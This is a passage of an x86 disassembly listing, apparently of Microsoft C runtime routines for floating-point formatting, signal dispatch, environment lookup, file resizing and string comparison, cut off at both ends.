off_41D1B1 dd offset loc_41CD7A ; DATA XREF: sub_41CD10+63r dd offset loc_41CDC9 ; jump table for switch statement dd offset loc_41CE20 dd offset loc_41CE4A dd offset loc_41CEA5 dd offset loc_41CF1C dd offset loc_41CF52 dd offset loc_41CF9C dd offset loc_41CF7B dd offset loc_41D000 dd offset loc_41CFEA dd offset loc_41CFB6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1E1 proc near ; CODE XREF: sub_41BC28+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41D243 mov byte ptr [ebx+2], 2Dh jmp short loc_41D247 ; --------------------------------------------------------------------------- loc_41D243: ; CODE XREF: sub_41D1E1+5Aj mov byte ptr [ebx+2], 20h loc_41D247: ; CODE XREF: sub_41D1E1+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41D26D test edi, edi jnz short loc_41D26D cmp [ebp+arg_0], edi jnz short loc_41D26D loc_41D258: ; CODE XREF: sub_41D1E1+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41D46B ; --------------------------------------------------------------------------- loc_41D26D: ; CODE XREF: sub_41D1E1+6Cj ; sub_41D1E1+70j ... cmp dx, si jnz short loc_41D2EC mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41D286 cmp [ebp+arg_0], 0 jz short loc_41D295 loc_41D286: ; CODE XREF: sub_41D1E1+9Dj test edi, 40000000h jnz short loc_41D295 push offset a1Snan ; "1#SNAN" jmp short loc_41D2DB ; --------------------------------------------------------------------------- loc_41D295: ; CODE XREF: sub_41D1E1+A3j ; sub_41D1E1+ABj test cx, cx jz short loc_41D2AF cmp edi, 0C0000000h jnz short loc_41D2AF cmp [ebp+arg_0], 0 jnz short loc_41D2D6 push offset a1Ind ; "1#IND" jmp short loc_41D2BE ; --------------------------------------------------------------------------- loc_41D2AF: ; CODE XREF: sub_41D1E1+B7j ; sub_41D1E1+BFj cmp edi, eax jnz short loc_41D2D6 cmp [ebp+arg_0], 0 jnz short loc_41D2D6 push offset a1Inf ; "1#INF" loc_41D2BE: ; CODE XREF: sub_41D1E1+CCj lea eax, [ebx+4] push eax call sub_414FB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41D2CD: ; CODE XREF: sub_41D1E1+109j and [ebp+var_4], 0 jmp loc_41D444 ; --------------------------------------------------------------------------- loc_41D2D6: ; CODE XREF: sub_41D1E1+C5j ; sub_41D1E1+D0j ... push offset a1Qnan ; "1#QNAN" loc_41D2DB: ; CODE XREF: sub_41D1E1+B2j lea eax, [ebx+4] push eax call sub_414FB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41D2CD ; --------------------------------------------------------------------------- loc_41D2EC: ; CODE XREF: sub_41D1E1+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41D9C9 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41D34D lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41D7A9 pop ecx pop ecx loc_41D34D: ; CODE XREF: sub_41D1E1+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41D367 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41D36A jmp loc_41D258 ; --------------------------------------------------------------------------- loc_41D367: ; CODE XREF: sub_41D1E1+173j mov edi, [ebp+arg_C] loc_41D36A: ; CODE XREF: sub_41D1E1+17Fj cmp edi, 15h jle short loc_41D372 push 15h pop edi loc_41D372: ; CODE XREF: sub_41D1E1+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41D388: ; CODE XREF: sub_41D1E1+1B4j lea eax, [ebp+var_10] push eax call sub_41CBEE dec [ebp+arg_14] pop ecx jnz short loc_41D388 test esi, esi jge short loc_41D3B2 neg esi and esi, 0FFh jle short loc_41D3B2 loc_41D3A5: ; CODE XREF: sub_41D1E1+1CFj lea eax, [ebp+var_10] push eax call sub_41CC1C dec esi pop ecx jnz short loc_41D3A5 loc_41D3B2: ; CODE XREF: sub_41D1E1+1B8j ; sub_41D1E1+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41D40F mov [ebp+arg_C], ecx loc_41D3C2: ; CODE XREF: sub_41D1E1+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41CBEE lea eax, [ebp+var_10] push eax call sub_41CBEE lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41CB90 lea eax, [ebp+var_10] push eax call sub_41CBEE mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41D3C2 mov eax, [ebp+arg_14] loc_41D40F: ; CODE XREF: sub_41D1E1+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41D44C loc_41D41C: ; CODE XREF: sub_41D1E1+248j cmp eax, ecx jb short loc_41D42F cmp byte ptr [eax], 39h jnz short loc_41D42B mov byte ptr [eax], 30h dec eax jmp short loc_41D41C ; --------------------------------------------------------------------------- loc_41D42B: ; CODE XREF: sub_41D1E1+242j cmp eax, ecx jnb short loc_41D433 loc_41D42F: ; CODE XREF: sub_41D1E1+23Dj inc eax inc word ptr [ebx] loc_41D433: ; CODE XREF: sub_41D1E1+24Cj inc byte ptr [eax] loc_41D435: ; CODE XREF: sub_41D1E1+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41D444: ; CODE XREF: sub_41D1E1+F0j mov eax, [ebp+var_4] loc_41D447: ; CODE XREF: sub_41D1E1+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D44C: ; CODE XREF: sub_41D1E1+239j ; sub_41D1E1+275j cmp eax, ecx jb short loc_41D45C cmp byte ptr [eax], 30h jnz short loc_41D458 dec eax jmp short loc_41D44C ; --------------------------------------------------------------------------- loc_41D458: ; CODE XREF: sub_41D1E1+272j cmp eax, ecx jnb short loc_41D435 loc_41D45C: ; CODE XREF: sub_41D1E1+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41D46B: ; CODE XREF: sub_41D1E1+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41D447 sub_41D1E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D474 proc near ; CODE XREF: sub_418A1C+33ECp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41D4DB dec eax dec eax jz short loc_41D4CC sub eax, 4 jz short loc_41D4CC sub eax, 3 jz short loc_41D4CC sub eax, 4 jz short loc_41D4BF sub eax, 6 jz short loc_41D4B2 dec eax jz short loc_41D4A5 or eax, 0FFFFFFFFh jmp loc_41D59D ; --------------------------------------------------------------------------- loc_41D4A5: ; CODE XREF: sub_41D474+27j mov esi, dword_742504 mov eax, offset dword_742504 jmp short loc_41D4E6 ; --------------------------------------------------------------------------- loc_41D4B2: ; CODE XREF: sub_41D474+24j mov esi, dword_742500 mov eax, offset dword_742500 jmp short loc_41D4E6 ; --------------------------------------------------------------------------- loc_41D4BF: ; CODE XREF: sub_41D474+1Fj mov esi, dword_742508 mov eax, offset dword_742508 jmp short loc_41D4E6 ; --------------------------------------------------------------------------- loc_41D4CC: ; CODE XREF: sub_41D474+10j ; sub_41D474+15j ... push edi call sub_41D5A1 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41D4E6 ; --------------------------------------------------------------------------- loc_41D4DB: ; CODE XREF: sub_41D474+Cj mov esi, dword_7424FC mov eax, offset dword_7424FC loc_41D4E6: ; CODE XREF: sub_41D474+3Cj ; sub_41D474+49j ... cmp esi, 1 jnz short loc_41D4F2 xor eax, eax jmp loc_41D59D ; --------------------------------------------------------------------------- loc_41D4F2: ; CODE XREF: sub_41D474+75j test esi, esi jnz short loc_41D4FD push 3 call sub_415C9A loc_41D4FD: ; CODE XREF: sub_41D474+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41D50F cmp edi, 0Bh jz short loc_41D50F cmp edi, 4 jnz short loc_41D535 loc_41D50F: ; CODE XREF: sub_41D474+8Fj ; sub_41D474+94j mov ebx, dword_7422DC and dword_7422DC, 0 cmp edi, ecx jnz short loc_41D564 mov edx, dword_437E0C mov dword_437E0C, 8Ch mov [ebp+arg_0], edx jmp short loc_41D538 ; --------------------------------------------------------------------------- loc_41D535: ; CODE XREF: sub_41D474+99j mov ebx, [ebp+arg_0] loc_41D538: ; CODE XREF: sub_41D474+BFj cmp edi, ecx jnz short loc_41D564 mov eax, dword_437E00 mov ecx, dword_437E04 add ecx, eax cmp eax, ecx jge short loc_41D56B lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:437D90h[edx*4] loc_41D559: ; CODE XREF: sub_41D474+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41D559 jmp short loc_41D56B ; --------------------------------------------------------------------------- loc_41D564: ; CODE XREF: sub_41D474+AAj ; sub_41D474+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41D579 loc_41D56B: ; CODE XREF: sub_41D474+D7j ; sub_41D474+EEj push dword_437E0C push 8 call esi pop ecx pop ecx jmp short loc_41D587 ; --------------------------------------------------------------------------- loc_41D579: ; CODE XREF: sub_41D474+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41D587 cmp edi, 4 jnz short loc_41D59A loc_41D587: ; CODE XREF: sub_41D474+103j ; sub_41D474+10Cj cmp edi, 8 mov dword_7422DC, ebx jnz short loc_41D59A mov eax, [ebp+arg_0] mov dword_437E0C, eax loc_41D59A: ; CODE XREF: sub_41D474+111j ; sub_41D474+11Cj xor eax, eax pop ebx loc_41D59D: ; CODE XREF: sub_41D474+2Cj ; sub_41D474+79j pop edi pop esi pop ebp retn sub_41D474 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D5A1 proc near ; CODE XREF: sub_41D474+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_437E08 cmp dword_437D8C, edx push esi mov eax, offset dword_437D88 jz short loc_41D5CF lea esi, [ecx+ecx*2] lea esi, ds:437D88h[esi*4] loc_41D5C3: ; CODE XREF: sub_41D5A1+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41D5CF cmp [eax+4], edx jnz short loc_41D5C3 loc_41D5CF: ; CODE XREF: sub_41D5A1+16j ; sub_41D5A1+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:437D88h[ecx*4] cmp eax, ecx jnb short loc_41D5E3 cmp [eax+4], edx jz short locret_41D5E5 loc_41D5E3: ; CODE XREF: sub_41D5A1+3Bj xor eax, eax locret_41D5E5: ; CODE XREF: sub_41D5A1+40j retn sub_41D5A1 endp ; =============== S U B R O U T I N E ======================================= sub_41D5E6 proc near ; CODE XREF: sub_41BFB2+23p arg_0 = dword ptr 4 cmp dword_743888, 0 push ebx push esi mov esi, dword_742254 push edi jz short loc_41D65D test esi, esi jnz short loc_41D617 cmp dword_74225C, esi jz short loc_41D65D call sub_41DA84 test eax, eax jnz short loc_41D65D mov esi, dword_742254 test esi, esi jz short loc_41D65D loc_41D617: ; CODE XREF: sub_41D5E6+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41D65D push ebx call sub_413E90 pop ecx mov edi, eax loc_41D628: ; CODE XREF: sub_41D5E6+6Dj mov eax, [esi] test eax, eax jz short loc_41D65D push eax call sub_413E90 cmp eax, edi pop ecx jbe short loc_41D650 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41D650 push edi push ebx push eax call sub_41DA45 add esp, 0Ch test eax, eax jz short loc_41D655 loc_41D650: ; CODE XREF: sub_41D5E6+51j ; sub_41D5E6+59j add esi, 4 jmp short loc_41D628 ; --------------------------------------------------------------------------- loc_41D655: ; CODE XREF: sub_41D5E6+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41D65F ; --------------------------------------------------------------------------- loc_41D65D: ; CODE XREF: sub_41D5E6+10j ; sub_41D5E6+1Cj ... xor eax, eax loc_41D65F: ; CODE XREF: sub_41D5E6+75j pop edi pop esi pop ebx retn sub_41D5E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D663 proc near ; CODE XREF: sub_41C716+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_413E60 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_743640 jnb loc_41D798 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_743540[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_41D798 push 1 push esi push ebx call sub_419DD2 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41D7A2 push 2 push esi push ebx call sub_419DD2 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41D7A2 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41D745 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_413890 push 8000h push ebx call sub_41DAF2 add esp, 14h mov [ebp+arg_4], eax loc_41D6F9: ; CODE XREF: sub_41D663+BDj mov eax, 1000h cmp edi, eax jge short loc_41D704 mov eax, edi loc_41D704: ; CODE XREF: sub_41D663+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_41A67D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D722 sub edi, eax test edi, edi jle short loc_41D738 jmp short loc_41D6F9 ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: sub_41D663+B5j cmp dword_742230, 5 jnz short loc_41D735 mov dword_74222C, 0Dh loc_41D735: ; CODE XREF: sub_41D663+C6j or esi, 0FFFFFFFFh loc_41D738: ; CODE XREF: sub_41D663+BBj push [ebp+arg_4] push ebx call sub_41DAF2 pop ecx pop ecx jmp short loc_41D785 ; --------------------------------------------------------------------------- loc_41D745: ; CODE XREF: sub_41D663+71j jge short loc_41D785 push 0 push [ebp+arg_4] push ebx call sub_419DD2 push ebx call sub_41C682 add esp, 10h push eax call ds:off_41F010 mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_41D785 mov dword_74222C, 0Dh call ds:off_41F06C mov dword_742230, eax loc_41D785: ; CODE XREF: sub_41D663+E0j ; sub_41D663:loc_41D745j ... push 0 push [ebp+arg_0] push ebx call sub_419DD2 add esp, 0Ch mov eax, esi pop edi jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D798: ; CODE XREF: sub_41D663+1Aj ; sub_41D663+36j mov dword_74222C, 9 loc_41D7A2: ; CODE XREF: sub_41D663+4Ej ; sub_41D663+63j or eax, 0FFFFFFFFh loc_41D7A5: ; CODE XREF: sub_41D663+133j pop esi pop ebx leave retn sub_41D663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7A9 proc near ; CODE XREF: sub_41D1E1+165p ; sub_41D9C9+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41D9A9 cmp cx, 7FFFh jnb loc_41D9A9 cmp dx, 0BFFDh ja loc_41D9A9 cmp dx, 3FBFh ja short loc_41D812 xor eax, eax jmp short loc_41D84C ; --------------------------------------------------------------------------- loc_41D812: ; CODE XREF: sub_41D7A9+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41D834 inc [ebp+arg_0] test [esi+8], edx jnz short loc_41D834 xor eax, eax cmp [esi+4], eax jnz short loc_41D836 cmp [esi], eax jnz short loc_41D836 jmp loc_41D9A3 ; --------------------------------------------------------------------------- loc_41D834: ; CODE XREF: sub_41D7A9+71j ; sub_41D7A9+79j xor eax, eax loc_41D836: ; CODE XREF: sub_41D7A9+80j ; sub_41D7A9+84j cmp cx, ax jnz short loc_41D859 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41D859 cmp [ebx+4], eax jnz short loc_41D859 cmp [ebx], eax jnz short loc_41D859 loc_41D84C: ; CODE XREF: sub_41D7A9+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41D9C4 ; --------------------------------------------------------------------------- loc_41D859: ; CODE XREF: sub_41D7A9+90j ; sub_41D7A9+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41D869: ; CODE XREF: sub_41D7A9+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41D8BD add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41D885: ; CODE XREF: sub_41D7A9+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41CB6F add esp, 0Ch test eax, eax jz short loc_41D8B0 mov eax, [ebp+var_4] inc word ptr [eax] loc_41D8B0: ; CODE XREF: sub_41D7A9+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41D885 loc_41D8BD: ; CODE XREF: sub_41D7A9+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41D869 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41D900 loc_41D8DB: ; CODE XREF: sub_41D7A9+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41D8F9 lea eax, [ebp+var_24] push eax call sub_41CBEE add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41D8DB loc_41D8F9: ; CODE XREF: sub_41D7A9+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41D939 loc_41D900: ; CODE XREF: sub_41D7A9+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41D939 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41D919: ; CODE XREF: sub_41D7A9+184j test byte ptr [ebp+var_24], 1 jz short loc_41D922 inc [ebp+var_14] loc_41D922: ; CODE XREF: sub_41D7A9+174j lea eax, [ebp+var_24] push eax call sub_41CC1C dec ebx pop ecx jnz short loc_41D919 cmp [ebp+var_14], 0 jz short loc_41D939 or byte ptr [ebp+var_24], 1 loc_41D939: ; CODE XREF: sub_41D7A9+155j ; sub_41D7A9+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41D950 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41D985 loc_41D950: ; CODE XREF: sub_41D7A9+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41D982 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41D97D and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41D977 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41D985 ; --------------------------------------------------------------------------- loc_41D977: ; CODE XREF: sub_41D7A9+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41D985 ; --------------------------------------------------------------------------- loc_41D97D: ; CODE XREF: sub_41D7A9+1B5j inc [ebp+var_20+2] jmp short loc_41D985 ; --------------------------------------------------------------------------- loc_41D982: ; CODE XREF: sub_41D7A9+1ABj inc [ebp+var_24+2] loc_41D985: ; CODE XREF: sub_41D7A9+1A5j ; sub_41D7A9+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41D9A9 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41D9A3: ; CODE XREF: sub_41D7A9+86j mov [esi+0Ah], ax jmp short loc_41D9C4 ; --------------------------------------------------------------------------- loc_41D9A9: ; CODE XREF: sub_41D7A9+42j ; sub_41D7A9+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41D9C4: ; CODE XREF: sub_41D7A9+ABj ; sub_41D7A9+1FEj pop edi pop esi pop ebx leave retn sub_41D7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9C9 proc near ; CODE XREF: sub_41CD10+440p ; sub_41D1E1+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_438280 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_41DA42 jge short loc_41D9F1 mov eax, [ebp+arg_4] mov ebx, offset dword_4383E0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_41D9F1: ; CODE XREF: sub_41D9C9+16j cmp [ebp+arg_8], ecx jnz short loc_41D9FC mov eax, [ebp+arg_0] mov [eax], cx loc_41D9FC: ; CODE XREF: sub_41D9C9+2Bj cmp [ebp+arg_4], ecx jz short loc_41DA42 push esi push edi loc_41DA03: ; CODE XREF: sub_41D9C9+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_41DA3B lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_41DA2E lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_41DA2E: ; CODE XREF: sub_41D9C9+57j push esi push [ebp+arg_0] call sub_41D7A9 pop ecx pop ecx xor ecx, ecx loc_41DA3B: ; CODE XREF: sub_41D9C9+49j cmp [ebp+arg_4], ecx jnz short loc_41DA03 pop edi pop esi loc_41DA42: ; CODE XREF: sub_41D9C9+14j ; sub_41D9C9+36j pop ebx leave retn sub_41D9C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA45 proc near ; CODE XREF: sub_41D5E6+5Ep ; sub_41DF6C+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41DA52 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41DA52: ; CODE XREF: sub_41DA45+7j push dword_743644 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_743864 call sub_41DB68 add esp, 1Ch test eax, eax jnz short loc_41DA7F mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41DA7F: ; CODE XREF: sub_41DA45+31j add eax, 0FFFFFFFEh pop ebp retn sub_41DA45 endp ; =============== S U B R O U T I N E ======================================= sub_41DA84 proc near ; CODE XREF: sub_41D5E6+1Ep ; sub_41DDE5+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_74225C push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_41DAE5 mov ebx, ds:dword_41F10C loc_41DA9D: ; CODE XREF: sub_41DA84+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_41DAED push ebp call sub_413F0B cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41DAED push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_41DAED push edi push [esp+18h+var_4] call sub_41DDE5 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41DA9D loc_41DAE5: ; CODE XREF: sub_41DA84+11j xor eax, eax loc_41DAE7: ; CODE XREF: sub_41DA84+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41DAED: ; CODE XREF: sub_41DA84+29j ; sub_41DA84+38j ... or eax, 0FFFFFFFFh jmp short loc_41DAE7 sub_41DA84 endp ; =============== S U B R O U T I N E ======================================= sub_41DAF2 proc near ; CODE XREF: sub_41D663+8Bp ; sub_41D663+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_743640 jnb short loc_41DB59 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_743540[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41DB59 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41DB32 and cl, 7Fh jmp short loc_41DB3F ; --------------------------------------------------------------------------- loc_41DB32: ; CODE XREF: sub_41DAF2+39j cmp [esp+4+arg_4], 4000h jnz short loc_41DB4D or cl, 80h loc_41DB3F: ; CODE XREF: sub_41DAF2+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41DB4D: ; CODE XREF: sub_41DAF2+48j mov dword_74222C, 16h jmp short loc_41DB63 ; --------------------------------------------------------------------------- loc_41DB59: ; CODE XREF: sub_41DAF2+Bj ; sub_41DAF2+27j mov dword_74222C, 9 loc_41DB63: ; CODE XREF: sub_41DAF2+65j or eax, 0FFFFFFFFh pop esi retn sub_41DAF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB68 proc near ; CODE XREF: sub_41DA45+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41FC18 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_742514, ebx push 1 pop edi jnz short loc_41DBDB push edi mov eax, offset dword_41F868 push eax push edi push eax push ebx push ebx call ds:off_41F008 test eax, eax jz short loc_41DBB8 mov dword_742514, edi jmp short loc_41DBDB ; --------------------------------------------------------------------------- loc_41DBB8: ; CODE XREF: sub_41DB68+46j push edi mov eax, offset dword_438A0C push eax push edi push eax push ebx push ebx call ds:off_41F00C test eax, eax jz loc_41DDD1 mov dword_742514, 2 loc_41DBDB: ; CODE XREF: sub_41DB68+31j ; sub_41DB68+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_41DBF2 push esi push [ebp+arg_8] call sub_41A1E8 pop ecx pop ecx mov esi, 